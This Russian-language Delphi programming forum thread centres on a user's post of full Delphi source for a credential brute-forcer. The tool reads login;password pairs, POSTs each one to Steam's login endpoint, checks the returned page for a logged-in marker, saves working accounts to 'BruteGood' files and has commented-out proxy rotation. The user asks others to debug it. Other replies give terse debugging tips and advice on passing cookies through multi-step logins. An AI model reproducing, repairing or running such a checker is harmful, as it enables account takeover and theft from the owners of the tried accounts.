1. 2xB15.08.2024 в 23:19от
Загрузка...
Загрузка...

Delphi Support

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем MDK, 25.07.2013.

  1. Подарок

    Подарок

    Статус:
    Оффлайн
    Регистрация:
    27.07.12
    Сообщения:
    1.443
    Репутация:
    357 +/-
    Всю жизнь будешь писать под копирку?
     
  2. Daneilcool

    Daneilcool

    Статус:
    Оффлайн
    Регистрация:
    05.11.13
    Сообщения:
    6
    Репутация:
    15 +/-
    Здравствуйте,делаю брут но бросает все в еррор!Кому не сложно,посмотрите мой код,найдите ошибку:




    Код:
    Data.Add('username='+Login);
    Data.Add('password='+Password);
    Data.Add('emaillauth=');
    Data.add('loginfriendlyname=');
    Data.add('captchagid=');
    Data.add('captcha_text=');
    Data.add('emailsteamid=');
    Data.add('rsatimestamp=');
    Data.add('remember_login=');
    try
    HTTP.Post('https://steamcommunity.com/login/dologin/', data);
    HTML:=HTTP.Get('http://steamcommunity.com/');
    if (Pos('class="profile_button_text"', HTML)<>0) then
    begin
      Rez:=1;
      Inc(good);
      end
    Но на всякий случай посмотрите весь исходный код

    Код:
    var
      Form3: TForm3;
      Acc:integer;
      Accounts, proxylist: TStringList;
      work: boolean;
      GoodFile, BadFile: textfile;
      Login, Password: string;
      rez, good, bad, err: integer;
    
    implementation
    
    {$R *.dfm}
    
    
    constructor Potok.Create(CreateSuspended: Boolean);
    begin
      inherited Create(createSuspended);
    end;
    
    procedure TForm3.Button1Click(Sender: TObject);
    begin
    if Opendialog1.Execute then
    begin
      Accounts.LoadFromFile(OpenDialog1.FileName);
      Label6.Caption:=inttostr(Accounts.Count);
    end;
    end;
    
    procedure TForm3.Button2Click(Sender: TObject);
    begin
     if Opendialog1.Execute then
    begin
      //proxylist.LoadFromFile(OpenDialog1.FileName);    //это все прокси надо.
      //Label7.Caption:=inttostr(proxylist.Count);
    end;
    end;
    
    procedure TForm3.Button3Click(Sender: TObject);
    var
    Way, StrTime:string;
    i:integer;
    begin
    StrTime:=TimeToStr(Time);
    for i:=1 to Length(StrTime)  do
     if StrTime[i]=':' then  StrTime[i]:='_';
    begin
     Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'BruteGood_'+StrTime+'.txt');
     Rewrite(GoodFile);
     Closefile(GoodFile);
     Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'BruteBad_'+StrTime+'.txt');
     Rewrite(BadFile);
     Closefile(BadFile);
     ProgressBar1.Max:=Accounts.Count;
     ProgressBar1.Position:=0;
     Label8.Caption:='0';
     Label9.Caption:='0';
     DBMemo1.Clear;
     Acc:=-1;
     Work:=true;
     Potok.Create(false);
    end;
    end;
    
    procedure TForm3.Button4Click(Sender: TObject);
    begin
    work:=false;
    end;
    
    procedure TForm3.Button5Click(Sender: TObject);
    begin
    Login:=copy(Accounts[1],1,pos(';',Accounts[1])-1);
    DBMemo1.Lines.Add(Login);
    end;
    
    procedure TForm3.FormCreate(Sender: TObject);
    begin
    Accounts:= TstringList.Create;
    proxylist:= TstringList.Create;
    end;
    
    procedure Potok.Execute;
    var
    HTTP: TidHTTP;
    data: TStringList;
    HTML:string;
    i, Acc, pl: integer;
    begin
    
    while work do
    begin
    for i:=0 to Accounts.Count do
    begin
    HTTP:= TidHTTP.Create;
    data:= TStringList.Create;
    
    Login:=copy(Accounts[Acc],1,pos(';',Accounts[Acc])-1);
    Password:= Copy(Accounts[Acc],Pos(';',Accounts[Acc])+1,MaxInt);
    
    //HTTP.proxyParams.ProxyServer:= copy (proxylist[pl],1,pos(';',proxylist[pl])-1);
    //HTTP.proxyParams.ProxyPort:=strtoint(copy (proxylist[pl],pos(';',proxylist[pl])+1, MaxInt));
    
    // Вот тут у тебя были не правильные данные, т.е. после обьявления переменной, нужно ставить "=", чтобы читался...
    
    Data.Add('username='+Login);
    Data.Add('password='+Password);
    Data.Add('emaillauth=');
    Data.add('loginfriendlyname=');
    Data.add('captchagid=');
    Data.add('captcha_text=');
    Data.add('emailsteamid=');
    Data.add('rsatimestamp=');
    Data.add('remember_login=');
    try
    HTTP.Post('https://steamcommunity.com/login/dologin/', data);
    HTML:=HTTP.Get('http://steamcommunity.com/');
    if (Pos('<h1>Активность друзей</h1>', HTML)<>0) then
    begin
      Rez:=1;
      Inc(good);
      end
      else
      begin
      Rez:=-1;
      Inc(bad);
      end;
      except
      rez:=0;
      Inc(err);
      end;
    
    Synchronize(sync);
    
    Inc(Acc);
    Inc(pl);
    
    data.free;
    HTTP.Free;
    
    
    end;
    end;
    end;
    
    Procedure Potok.Sync;
    begin
    case rez of
    
    1: begin
    Form3.DBMemo1.Lines.Add(Login+';'+ Password);
    Form3.Label8.Caption:= inttostr(good);
    Form3.ProgressBar1.Position:= Form3.ProgressBar1.Position+1;
    end;
    
    -1: begin
    Form3.Label9.Caption:= inttostr(bad);
    Form3.ProgressBar1.Position:= Form3.ProgressBar1.Position+1;
    end;
    
    0: begin
    Form3.Label10.Caption:= inttostr(err);
    Form3.ProgressBar1.Position:= Form3.ProgressBar1.Position+1;
    end;
    
    end;
    end.
    end;
     
    Последнее редактирование: 09.11.2013
  3. Patrik_Star

    Patrik_Star

    Статус:
    Оффлайн
    Регистрация:
    04.09.11
    Сообщения:
    1.019
    Репутация:
    641 +/-
    Мне кто-то ответит?
     
  4. Подарок

    Подарок

    Статус:
    Оффлайн
    Регистрация:
    27.07.12
    Сообщения:
    1.443
    Репутация:
    357 +/-
    Ну банально предположу, что delphi не может подключить эти библиотеки. Может их просто нет, может нет прав доступа.
     
  5. Подарок

    Подарок

    Статус:
    Оффлайн
    Регистрация:
    27.07.12
    Сообщения:
    1.443
    Репутация:
    357 +/-
    Весь код рассматривать не хочу. Но если пишешь по ХовноВидео уроку, то обычно в еррор кидают всё, что не отловили в гуд или бед. То есть возможно нужно добавить многоуровневую проверку.
     
  6. leshiy)))

    leshiy)))

    Статус:
    Оффлайн
    Регистрация:
    26.05.12
    Сообщения:
    812
    Репутация:
    294 +/-
    ребята, как сделать поэтапную автризацию?

    к примеру. на юкозе, после авторизации на сайте, появляется окно для ввода веб-топ пароля. ну тобишь ещё данные надо ввести. как можно такое осуществить?
    заранее благодарен.
     
  7. Подарок

    Подарок

    Статус:
    Оффлайн
    Регистрация:
    27.07.12
    Сообщения:
    1.443
    Репутация:
    357 +/-
    Авторизовался, сохранил куки, при второй авторизации отправил сохранённые куки.
     
  8. leshiy)))

    leshiy)))

    Статус:
    Оффлайн
    Регистрация:
    26.05.12
    Сообщения:
    812
    Репутация:
    294 +/-
    спасибо. покапаюсь. если не смогу найти решения, попрошу вас тыкнуть меня мордой в источник ^.^
     
  9. Подарок

    Подарок

    Статус:
    Оффлайн
    Регистрация:
    27.07.12
    Сообщения:
    1.443
    Репутация:
    357 +/-
    Их на столько много, что твоя морда боюсь не выдержит.
     
  10. leshiy)))

    leshiy)))

    Статус:
    Оффлайн
    Регистрация:
    26.05.12
    Сообщения:
    812
    Репутация:
    294 +/-
    тыкай. я облазился, не могу найти то, что нужно! точнее как отправить нужные куки, а потом и новые данные.
     
  11. Подарок

    Подарок

    Статус:
    Оффлайн
    Регистрация:
    27.07.12
    Сообщения:
    1.443
    Репутация:
    357 +/-
    Ну тогда удаляй delphi, что за тупость? Если тебе надо будет сделать трёхэтапную авторизацию ты так и будешь гуглить? А если двадцатиэтапную? Не ужели так сложно понять, что надо сделать тупо 2 post запроса подряд?
     
  12. leshiy)))

    leshiy)))

    Статус:
    Оффлайн
    Регистрация:
    26.05.12
    Сообщения:
    812
    Репутация:
    294 +/-
    вопрос решен. спасибо подарку, что дал мне пинка под зад !!! спс
     
    Последнее редактирование: 10.11.2013
  13. Patrik_Star

    Patrik_Star

    Статус:
    Оффлайн
    Регистрация:
    04.09.11
    Сообщения:
    1.019
    Репутация:
    641 +/-
    Может быть у меня их просто нету? В прошлый раз с такой проблемой не сталкивался!